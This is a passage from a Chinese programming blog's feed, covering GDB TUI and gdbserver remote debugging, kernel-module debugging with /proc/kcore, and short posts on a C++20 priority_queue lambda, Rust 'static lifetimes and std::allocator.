&lt;p&gt;使用hexdump查看二进制文件&lt;&#x2F;p&gt;
&lt;p&gt;hexdump -C  dump&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4.12 TUI调试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;TUI（TextUser Interface）为GDB调试的文本用户界面，可以方便地显示源代码、汇编和寄存器文本窗口。命令：layout 或 focus。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;layout：用于分割窗口，可以一边查看代码，一边测试。主要有以下几种用法：&lt;&#x2F;li&gt;
&lt;li&gt;layout src：显示源代码窗口&lt;&#x2F;li&gt;
&lt;li&gt;layout asm：显示汇编窗口&lt;&#x2F;li&gt;
&lt;li&gt;layout regs：显示源代码&#x2F;汇编和寄存器窗口&lt;&#x2F;li&gt;
&lt;li&gt;layout split：显示源代码和汇编窗口&lt;&#x2F;li&gt;
&lt;li&gt;layout next：显示下一个layout&lt;&#x2F;li&gt;
&lt;li&gt;layout prev：显示上一个layout&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + L：刷新窗口&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + x，再按1：单窗口模式，显示一个窗口&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + x，再按2：双窗口模式，显示两个窗口&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + x，再按a：回到传统模式，即退出layout，回到执行layout之前的调试窗口。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;源代码窗口和汇编窗口会高亮显示程序运行位置并以’&amp;gt;&#x27;符号标记。有两个特殊标记用于标识断点，第一个标记用于标识断点类型：&lt;&#x2F;p&gt;
&lt;p&gt;B：程序至少有一次运行到了该断点
b：程序没有运行到过该断点
H：程序至少有一次运行到了该硬件断点
h：程序没有运行到过该硬件断点&lt;&#x2F;p&gt;
&lt;p&gt;第二个标记用于标识断点使能与否：&lt;&#x2F;p&gt;
&lt;p&gt;+：断点使能Breakpointis enabled. -：断点被禁用Breakpointis disabled.&lt;&#x2F;p&gt;
&lt;p&gt;当调试程序时，源代码窗口、汇编窗口和寄存器窗口的内容会自动更新。&lt;br &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;gdb&#x2F;image-20231225111511-us0kpdp.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;5、GDB基本使用方法&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;GDB调试的三种方式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;目标板直接使用GDB进行调试。（本地调试）&lt;&#x2F;li&gt;
&lt;li&gt;目标板使用gdbserver，主机使用xxx-linux-gdb作为客户端。（远程调试）&lt;&#x2F;li&gt;
&lt;li&gt;目标板使用ulimit -c unlimited，生成core文件；然后主机使用xxx-linux-gdb .&#x2F;test .&#x2F;core。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;5.1 远程调试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;有些场景下需要进行远程调试，目标机上不具备gdb运行的条件和环境，例如嵌入式设备上内存，存储有限，需要远程调试，最典型的是 android 系统和应用调试，整个android的源码加上编译出来的中间文件有上百G，一般的手机上满足不了调试的需求。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;服务端&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;服务端通常是通过 gdbserver 直接控制目标程序的运行并监听来自 gdb client 的请求，一般是通过网络端口来监听，还可以通过串口设备的直连进行通信。&lt;&#x2F;p&gt;
&lt;p&gt;gdbserver64 &amp;lt;host_ip&amp;gt;:6000 .&#x2F;a.out		 &lt;em&gt;&#x2F;&#x2F;从程序的启动开始调试，并监听本机6000端口&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;gdbserver64 &amp;lt;host_ip&amp;gt;:6000 --attach $(pid)		 &lt;em&gt;&#x2F;&#x2F;附着到已经运行的程序上，并监听本机6000端口&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;（其实该步操作相当于平头哥软件连接我们的本机端口）&lt;&#x2F;p&gt;
&lt;p&gt;也可以如下，通过串口&lt;&#x2F;p&gt;
&lt;p&gt;gdbserver &#x2F;dev&#x2F;ttyS0 .&#x2F;a.out&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;客户端&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;客户端通过需要首先连接到 gdbserver，之后还可能需要做一些其他的设置之后才能正常调试。&lt;&#x2F;p&gt;
&lt;p&gt;(gdb) target remote :6000&lt;&#x2F;p&gt;
&lt;p&gt;(gdb) file 带符号表的文件			 &lt;em&gt;&#x2F;&#x2F;加载符号表，如 file ekernel&#x2F;melis30.elf&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;(gdb) set solib-search-path    $KERNEL_OUTPUT   &lt;em&gt;&#x2F;&#x2F;动态库的根路径&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;(gdb) set substitute-path &#x2F;home&#x2F;linux&#x2F;kernel &#x2F;root&#x2F;mykernel	 &lt;em&gt;&#x2F;&#x2F;设置源文件的路径，在 &#x2F;home&#x2F;linux&#x2F;kernel 中编译，但是现在位于&#x2F;root&#x2F;mykernel&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;&#x2F;&#x2F;加载该目录下的所有文件&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;(gdb) info sharedlibrary    &lt;em&gt;&#x2F;&#x2F;用 info sharedlibrary来查看目标库文件的符号表是否加载成功&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;（如果是在远程服务器上运行gdb，需要在端口号前加本机的ip地址， 如target remote 192.168.204.19:6000）&lt;&#x2F;p&gt;
&lt;p&gt;至此，客户端和服务端连接到相同的端口号，建立起了网络通信。&lt;&#x2F;p&gt;
&lt;p&gt;对于android上的远程调试还需要一些特殊设置，adnroid设备和 host 一般是通过 adb 连接的，所以在 gdb client 连接 gdb server时还需要做一些特殊设置：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;通过 adb ip 方式连接 android 设备：adb connect $(ip)&lt;&#x2F;li&gt;
&lt;li&gt;在 android 上开启 gdb server : gdbserver64 :6000 --attach $(pid)&lt;&#x2F;li&gt;
&lt;li&gt;host机器上通过adb进行端口转发设置：adb forward tcp:6000 tcp:6000 ，监听 host 上6000端口的请求并转发给 android 上 6000 端口&lt;&#x2F;li&gt;
&lt;li&gt;gdb client 连接 gdb server: (gdb) target remote :6000&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;GDB&#x2F;GDBSERVER远程调试模型的原理如下：&lt;br &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;gdb&#x2F;image-20231225111530-8rx4wxg.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在GDB&#x2F;GDBSERVER调试模型中，GDBSERVER是一个轻量级的GDB调试器，在调试过程中担任着调试代理的角色。在调试过程中，主机和目标机之间使用串口或者网络作为通信的通道。在主机上GDB通过这条通道使用一种基于ASCII的简单通讯协议RSP与在目标机上运行的GDBSERVER进行通讯。GDB发送指令，如内存、寄存器读写，GDBSERVER则首先与运行被调试程序映像的进程进行绑定，然后等待GDB发来的数据，对包含命令的数据包进行解析之后便进行相关处理，然后将结果返回给主机上的GDB。&lt;&#x2F;p&gt;
&lt;p&gt;RSP协议将GDB&#x2F;GDBSERVER间通讯的内容更看做是数据包，数据包的内容都使用ASCII字符。每一个数据包都遵循这样的格式：$ &amp;lt;调试信息&amp;gt;#&amp;lt;校验码&amp;gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;gdb&#x2F;image-20231225111538-bftup6h.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;br &#x2F;&gt;
如上图所示，包的内容会以16进制的形式来编码(enhex)，#后面的两位数字是校验码，具体的计算方式是数据包中所有字符求和再用256求余数。而数据包的内容，也就是RSP协议的载体，将会是gdb接收的命令。接受方在收到数据包之后，对数据包进行校验，若正确回应“+”，反之回应“-”。&lt;&#x2F;p&gt;
&lt;p&gt;当主机使用gdb对运行应用的进程进行调试时，进程中内置的gdbserver与应用进行绑定，开启socket进行监听client连接，默认是tcp:3333端口，可以使用--gdb tcp:6000选择任意端口。当client发送请求时，gdbserver收到包进行校验之后gdb_handle_packet()进行分发处理。如gdb调试端发送x&#x2F; &amp;lt;n&#x2F;f&#x2F;u&amp;gt; &lt;addr&gt;表示读取addr处的内容，命令经RSP协议封装成数据包发送至进程的gdbserver端，gdbserver收到数据包后对其进行校验，校验成功后进行解析处理并返回至gdb客户端。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;gdb&#x2F;image-20231225111545-668y8hd.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;gdb&#x2F;image-20231225111554-lb39enr.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;5.2 本地调试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;gdb&#x2F;image-20231225111610-7sbcecd.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;推荐阅读&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;gdb在线文档:https:&#x2F;&#x2F;sourceware.org&#x2F;gdb&#x2F;current&#x2F;onlinedocs&#x2F;gdb&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;5.3 应用程序调试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在嵌入式系统中，为调试Linux应用程序，可在目标板上先运行GDBServer，再让主机上的GDB与目标板上的GDBServer通过网口或串口通信。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;（1）目标板&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;需要运行如下命令启动GDBServer：&lt;&#x2F;p&gt;
&lt;p&gt;gdbserver &amp;lt;host_ip&amp;gt;:端口号 app&lt;&#x2F;p&gt;
&lt;p&gt;&amp;lt;host_ip&amp;gt;:为主机的IP地址和端口，app是可执行的应用程序名。&lt;&#x2F;p&gt;
&lt;p&gt;也可以如下，通过串口：&lt;&#x2F;p&gt;
&lt;p&gt;gdbserver &#x2F;dev&#x2F;ttyS0 .&#x2F;tdemo&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;（2）主机&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;需要运行如下命令启动GDB：&lt;&#x2F;p&gt;
&lt;p&gt;arm-linux-gdb app 与gdbserver中的app参数对应&lt;&#x2F;p&gt;
&lt;p&gt;之后，运行如下命令就可以连接到目标板&lt;&#x2F;p&gt;
&lt;p&gt;target remote &amp;lt;target_ip&amp;gt;:端口号 &amp;lt;target_ip&amp;gt;:为目标机的IP地址和端口&lt;&#x2F;p&gt;
&lt;p&gt;如果是串口：&lt;&#x2F;p&gt;
&lt;p&gt;(gdb)target remote &#x2F;dev&#x2F;ttyS1&lt;&#x2F;p&gt;
&lt;p&gt;之后就可以使用GDB像调试本机上的程序一样调试目标机上的程序
…&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;5.4 Linux内核调试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;调试嵌入式Linux内核的方法如下：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;目标机“插桩”，如打上KGDB补丁，这样主机上的GDB可与目标机的KGDB通过串口或网口通信；&lt;&#x2F;li&gt;
&lt;li&gt;使用仿真器，仿真器可直接连接目标的JTAG&#x2F;BDM,这样主机GDB就可以通过与仿真器的通信来控制目标机；&lt;&#x2F;li&gt;
&lt;li&gt;在目标板上通过printk(),oops,strace等软件方法进行“观察”调试。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;内核打印信息：&lt;&#x2F;p&gt;
&lt;p&gt;在Linux中，内核打印语句printk()会将内核信息输出到内核信息缓冲区，内核信息缓冲区是一个环形缓冲区（ring buffer）,因此，如果塞入的消息过多，就会将之前的消息冲刷掉。&lt;&#x2F;p&gt;
&lt;p&gt;printk()定义了8个消息级别，分别为0-7，越低级别（数值越大）的消息越不重要，第0级是紧急事件级，printk()级别定义如下：&lt;&#x2F;p&gt;
&lt;p&gt;KERN_EMERG &quot;&amp;lt;0&amp;gt;&quot; &#x2F;system is unusable&lt;&#x2F;p&gt;
&lt;p&gt;KERN_ALERT &quot;&amp;lt;1&amp;gt;&quot; &#x2F;action must be taken immediately&lt;&#x2F;p&gt;
&lt;p&gt;KERN_CRIT &quot;&amp;lt;2&amp;gt;&quot; &#x2F;critical conditions&lt;&#x2F;p&gt;
&lt;p&gt;KERN_ERR &quot;&amp;lt;3&amp;gt;&quot; &#x2F;error conditions&lt;&#x2F;p&gt;
&lt;p&gt;KERN_WARNING &quot;&amp;lt;4&amp;gt;&quot; &#x2F;warning conditions&lt;&#x2F;p&gt;
&lt;p&gt;KERN_NOTICE &quot;&amp;lt;5&amp;gt;&quot; &#x2F;normal but significant condition&lt;&#x2F;p&gt;
&lt;p&gt;KERN_INFO &quot;&amp;lt;6&amp;gt;&quot; &#x2F;informational&lt;&#x2F;p&gt;
&lt;p&gt;KERN_DEBUG &quot;&amp;lt;7&amp;gt;&quot;&lt;&#x2F;p&gt;
&lt;p&gt;通过&#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;printk文件可以调节printk的输出等级。&lt;&#x2F;p&gt;
&lt;p&gt;控制台日志级别：优先级高于该值的消息将被打印至控制台
默认的消息日志级别
最低控制台日志级别
默认的控制台日志级别
上述4个值的默认值设置为6,4,1,7&lt;&#x2F;p&gt;
&lt;p&gt;在设备驱动中我们经常需要输出调试或系统的信息，可以直接采用printk(&amp;lt;7&amp;gt;...)输出&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;5.5 内核调试器kcore&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;GDB调试器可以把内核作为一个应用程序来调试，在这种方式中，需要给GDB指定未经压缩的内核镜像的文件名和&quot;core&quot;文件，对于一个正在运行的内核，“core文件”就是运行时的内存映像&#x2F;proc&#x2F;kcore，因此，使用GDB和kcore调试内核的典型命令如下：&lt;&#x2F;p&gt;
&lt;p&gt;gdb &#x2F;usr&#x2F;src&#x2F;linux&#x2F;vmlinux &#x2F;proc&#x2F;kcore&lt;&#x2F;p&gt;
&lt;p&gt;在gdb &#x2F;vmlinux &#x2F;proc&#x2F;kcore这种调试方式中，GDB的绝大多数功能都不能使用，如修改内核变量的值，设置断点，单步执行等，可加载模块的symbol并没有包含在vmlinux中，必须使用一些辅助方法才能调试模块，Linux可加载模块是ELF格式的可执行映像，它们被分成几个段：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;.text：这个段包含模块可执行代码。&lt;&#x2F;li&gt;
&lt;li&gt;.bss&#x2F;.data：这两个段包含模块的变量，在编译时未初始化的变量在.bss段，而被初始化的段在.data段。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当一个模块被加载后，在&#x2F;sys&#x2F;module目录下会新增一个对应模块的目录，下面是一个例子：&lt;&#x2F;p&gt;
&lt;p&gt;[root@cgyl2010 ~]#ls&lt;&#x2F;p&gt;
&lt;p&gt;New0001.ko   devgecho     hello.c      myhello      signal.ko    wed&lt;&#x2F;p&gt;
&lt;p&gt;backlight    etc          hello.ko     myled.ko     sixqd.ko     yg.ko&lt;&#x2F;p&gt;
&lt;p&gt;bin          fb           home         myzd         sy           yubu&lt;&#x2F;p&gt;
&lt;p&gt;cgy          fb_test      leds         opt          sys          yueyi.ko&lt;&#x2F;p&gt;
&lt;p&gt;cgyled       fost.ko      lib          poll         thirdzd.ko   yy.ko&lt;&#x2F;p&gt;
&lt;p&gt;cs           gui.ko       linuxrc      proc         tmp          zd&lt;&#x2F;p&gt;
&lt;p&gt;dev          gy           mnt          root         usr&lt;&#x2F;p&gt;
&lt;p&gt;devg         hello        myanjian.ko  sbin         var&lt;&#x2F;p&gt;
&lt;p&gt;[root@cgyl2010 ~]#insmod yueyi.ko&lt;&#x2F;p&gt;
&lt;p&gt;[root@cgyl2010 ~]#cd &#x2F;sys&#x2F;module&#x2F;yueyi&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;[root@cgyl2010 &#x2F;sys&#x2F;module&#x2F;yueyi]#&lt;&#x2F;p&gt;
&lt;p&gt;[root@cgyl2010 &#x2F;sys&#x2F;module&#x2F;yueyi&#x2F;sections]#ls -a&lt;&#x2F;p&gt;
&lt;p&gt;.                          .devexit.text&lt;&#x2F;p&gt;
&lt;p&gt;..                         .devinit.text&lt;&#x2F;p&gt;
&lt;p&gt;.ARM.exidx                 .gnu.linkonce.this_module&lt;&#x2F;p&gt;
&lt;p&gt;.ARM.exidx.devexit.text    .note.gnu.build-id&lt;&#x2F;p&gt;
&lt;p&gt;.ARM.exidx.devinit.text    .rodata&lt;&#x2F;p&gt;
&lt;p&gt;.ARM.extab                 .rodata.str1.1&lt;&#x2F;p&gt;
&lt;p&gt;.ARM.extab.devexit.text    .strtab&lt;&#x2F;p&gt;
&lt;p&gt;.ARM.extab.devinit.text    .symtab&lt;&#x2F;p&gt;
&lt;p&gt;.bss                       .text&lt;&#x2F;p&gt;
&lt;p&gt;.data&lt;&#x2F;p&gt;
&lt;p&gt;[root@cgyl2010 &#x2F;sys&#x2F;module&#x2F;yueyi&#x2F;sections]#&lt;&#x2F;p&gt;
&lt;p&gt;通过cat其中的.text,.bss,.data可以得到我们想要的3个段的地址，如下：&lt;&#x2F;p&gt;
&lt;p&gt;[root@cgyl2010 &#x2F;sys&#x2F;module&#x2F;yueyi&#x2F;sections]#cat .text&lt;&#x2F;p&gt;
&lt;p&gt;0xbf006000&lt;&#x2F;p&gt;
&lt;p&gt;[root@cgyl2010 &#x2F;sys&#x2F;module&#x2F;yueyi&#x2F;sections]#cat .bss&lt;&#x2F;p&gt;
&lt;p&gt;0xbf007568&lt;&#x2F;p&gt;
&lt;p&gt;[root@cgyl2010 &#x2F;sys&#x2F;module&#x2F;yueyi&#x2F;sections]#cat .data&lt;&#x2F;p&gt;
&lt;p&gt;0xbf0073e4&lt;&#x2F;p&gt;
&lt;p&gt;[root@cgyl2010 &#x2F;sys&#x2F;module&#x2F;yueyi&#x2F;sections]#&lt;&#x2F;p&gt;
&lt;p&gt;之后就可以通过GDB的add-symbol-file来添加模块的符号信息，这样之后便可以查看模块中的变量了，如下;&lt;&#x2F;p&gt;
&lt;p&gt;(gdb)  add-symbol-file yueyi.ko 0xbf006000 -s .bss 0xbf007568 -s .data 0xbf0073e4&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>invoke_result_t vs result_of_t</title>
        <published>2022-07-12T15:19:05+08:00</published>
        <updated>2022-07-12T15:19:05+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/07/invoke-result-t-vs-result-of-t/"/>
        <id>https://vercel.juzhong.asia/2022/07/invoke-result-t-vs-result-of-t/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/07/invoke-result-t-vs-result-of-t/">&lt;h1 id=&quot;invoke-result-t-vs-result-of-t&quot;&gt;invoke_result_t vs result_of_t&lt;&#x2F;h1&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>priority_queue lambda</title>
        <published>2022-07-04T11:27:13+08:00</published>
        <updated>2022-07-04T11:27:13+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/07/priority-queue-lambda/"/>
        <id>https://vercel.juzhong.asia/2022/07/priority-queue-lambda/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/07/priority-queue-lambda/">&lt;h1 id=&quot;priority-queue-lambda&quot;&gt;priority_queue lambda&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;you-xian-ji-dui-lie-priority-queueshi-yong-lambdabiao-da-shi-chu-cuo-wen-ti&quot;&gt;优先级队列priority_queue使用lambda表达式出错问题&lt;&#x2F;h1&gt;
&lt;p&gt;以下代码在c++17中报错，c++20中正常&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;queue&amp;gt;

int main() {

  std::cout &amp;lt;&amp;lt; &amp;quot;hello test&amp;quot; &amp;lt;&amp;lt; std::endl;
  using Ty = std::pair&amp;lt;std::string,int&amp;gt;;

  struct myGreater {
    bool operator() (Ty a, Ty b){
      return std::tie(a.second, a.first) &amp;gt; std::tie(b.second, b.first);
    }
  };  &amp;#x2F;&amp;#x2F; 可以使用仿函数代替lambda在priority_queue中使用
  std::priority_queue&amp;lt;Ty,
    std::vector&amp;lt;Ty&amp;gt;,
    decltype([](Ty a, Ty b)-&amp;gt;bool{
        return std::tie(a.second, a.first) &amp;gt; std::tie(b.second, b.first);
        })&amp;gt; q;

  q.emplace(std::make_pair(&amp;quot;yang&amp;quot;,3));
  q.emplace(std::make_pair(&amp;quot;yong&amp;quot;,2));
  q.emplace(std::make_pair(&amp;quot;zhen&amp;quot;,1));

  std::cout &amp;lt;&amp;lt; &amp;quot;q.top()=&amp;quot; &amp;lt;&amp;lt;q.top().first &amp;lt;&amp;lt;std::endl;
  return 0;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Your code is valid C++20 as written but invalid C++17 or earlyer.
可能你使用了c++20的特性，在c++20之前不支持。&lt;&#x2F;p&gt;
&lt;p&gt;在 C++20 之前闭包类型不是默认可构造的。在 C++20 中没有捕获的闭包类型是默认可构造的。&lt;&#x2F;p&gt;
&lt;p&gt;1.Lambda expressions are not allowed in unevaluated contexts (such as decltype) before C++20.
2.Closure types are not default constructible before C++20. In C++20 a closure type that has no capture is default constructible.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>rust 生命周期标记</title>
        <published>2022-07-03T15:13:58+08:00</published>
        <updated>2022-07-03T15:13:58+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/07/rust-生命周期标记/"/>
        <id>https://vercel.juzhong.asia/2022/07/rust-生命周期标记/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/07/rust-生命周期标记/">&lt;h1 id=&quot;rust-sheng-ming-zhou-qi-biao-ji&quot;&gt;rust 生命周期标记&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;sheng-ming-zhou-qi-he-suo-you-quan&quot;&gt;生命周期和所有权&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;rustyu-yan-zhong-de-static-sheng-ming-zhou-qi&quot;&gt;Rust语言中的 &#x27;static 生命周期&lt;&#x2F;h1&gt;
&lt;p&gt;&amp;amp;&#x27;static T是具有 &#x27;static 生存期的引用，或者说无限生存期。&lt;&#x2F;p&gt;
&lt;p&gt;T: &#x27;static 是约束，表示 T 的生存期应当不短于 &#x27;static。此时有两种情况：
T 包含外部引用，那么其中所有引用都要是 &#x27;static 生存期。例如 &amp;amp;&#x27;static T 和 Cow&amp;lt;&#x27;static, T&amp;gt;
T 不包含引用，或只可能包含自引用，那么它自动具有 &#x27;static 生存期。例如 String 和一部分匿名 future 类型。
T: &#x27;static 要求 T 与上下文没有关联，在难以静态决定生存期的并发环境下很有用。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cxx-allocator类</title>
        <published>2022-07-01T16:39:13+08:00</published>
        <updated>2022-07-01T16:39:13+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/07/cxx-allocator类/"/>
        <id>https://vercel.juzhong.asia/2022/07/cxx-allocator类/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/07/cxx-allocator类/">&lt;h1 id=&quot;cxx-allocatorlei&quot;&gt;cxx-allocator类&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;allocator&quot;&gt;allocator&lt;&#x2F;h1&gt;
&lt;p&gt;new 在灵活性上有一些局限
可以使用allocator类进行更加强大的内存操作
分配器也是标准库的一个话题，我们这一片文章不对分配器的角色进行讨论，仅仅结合标准库的源代码对齐进行简单的剖析以及解释它的一些用法。
双层级配置器,也就是第一级配置器和第二级配置器。
第一级配置器直接使用 malloc() 和 free() ，
第二级配置器则视情况采用不同的策略：当配置区块超过128 bytes 时，视之为 “足够大”，便调用第一级配置器；当配置区块小于 128 bytes 时，视之为 “过小” ，为了降低额外负担，便采用复杂的 内存池 管理方式。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;allocator&lt;T&gt;                       name;
.allocate(n)                       分配原始的，未构造的保存n个T类型的空间返回一个指针
.consstruct(p,args)                构造对象，在p指向的内存中，args是构造类型所需要的参数
.destory(p)                        p为 T 的指针，对其指向的对象进行析构操作
.deallocate(p,n)                   释放空间，从p指向开始后的n块内存空间，此指针必须是allocate分配的，在执行此操作之前还要对每一个元素都进行destory操作&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;首先是构造对象，分为两部
我们使用后allocate方法的得到的空间是未经过初始化的。
时候使用construct方法来对每一个对象进行初始化&lt;&#x2F;p&gt;
&lt;p&gt;如果不再使用对象将其销毁，也分为两步
首先使用destory方法将其析构
这个方法不是必须调用的，比如内置基本类型就可以不调用。下面我们会有演示的代码。&lt;&#x2F;p&gt;
&lt;p&gt;但是，如果要保证模版足够通用，就要调用这个方法了；
再使用dealloc方法回收空间，这是真正会回收的动作&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;
#include &amp;lt;functional&amp;gt;
#include &amp;lt;array&amp;gt;
#include &amp;lt;memory&amp;gt;
class Foo {
public:
  Foo(int i): i_(i) { std::cout &amp;lt;&amp;lt; &amp;quot;Foo\n&amp;quot;; }
  ~Foo() { std::cout &amp;lt;&amp;lt; &amp;quot;~Foo\n&amp;quot;; }
  int i_;
};

void print_int_arr(Foo* data, const int length)
{
    using std::cout;
    using std::endl;
    for(int i=0; i&amp;lt;length; ++i)
    {
        cout &amp;lt;&amp;lt; data[i].i_ &amp;lt;&amp;lt; &amp;quot; &amp;quot;;
    }
    cout &amp;lt;&amp;lt; endl;
}

void test01()
{
    using namespace std;
    std::allocator&amp;lt;Foo&amp;gt; my_allocator;
    auto data = my_allocator.allocate(10);
    cout &amp;lt;&amp;lt; typeid(data).name() &amp;lt;&amp;lt; endl;
    print_int_arr(data,10);
    &amp;#x2F;&amp;#x2F; my_allocator.construct(data,10);
    &amp;#x2F;&amp;#x2F; print_int_arr(data,10);
    for(int i=0; i&amp;lt;10; ++i)
    {
        &amp;#x2F;&amp;#x2F; construct is deprecated in c++17; and removed in c++20
        my_allocator.construct(data + i, i);
    }
    print_int_arr(data,10);
    for(int i=0; i&amp;lt;10; ++i)
    {
        my_allocator.destroy(data + i);
    }
    print_int_arr(data, 10);
    my_allocator.deallocate(data, 10);
    print_int_arr(data,10);
}
 
void * operator new(std::size_t size)
{
    std::cout &amp;lt;&amp;lt; &amp;quot;malloc: &amp;quot; &amp;lt;&amp;lt; size &amp;lt;&amp;lt; &amp;quot;size&amp;quot; &amp;lt;&amp;lt; std::endl;
    return malloc(size);
}
 
void operator delete(void * p) noexcept
{
    std::cout &amp;lt;&amp;lt; &amp;quot;delete&amp;quot; &amp;lt;&amp;lt; std::endl;
    free(p);
}
int main()
{
    test01();
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先看下allocate的实现:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; _GLIBCXX_NODISCARD pointer  &amp;#x2F;&amp;#x2F;_GLIBCXX_NODISCARD仅仅是一个宏名称 pointer是_Tp *的一个typedef
      allocate(size_type __n, const void* = static_cast&amp;lt;const void*&amp;gt;(0))
      {
	if (__n &amp;gt; this-&amp;gt;max_size())
	  std::__throw_bad_alloc();
 
#if __cpp_aligned_new
	if (alignof(_Tp) &amp;gt; __STDCPP_DEFAULT_NEW_ALIGNMENT__)
	  {
	    std::align_val_t __al = std::align_val_t(alignof(_Tp));
	    return static_cast&amp;lt;_Tp*&amp;gt;(::operator new(__n * sizeof(_Tp), __al));
	  }
#endif
	return static_cast&amp;lt;_Tp*&amp;gt;(::operator new(__n * sizeof(_Tp)));
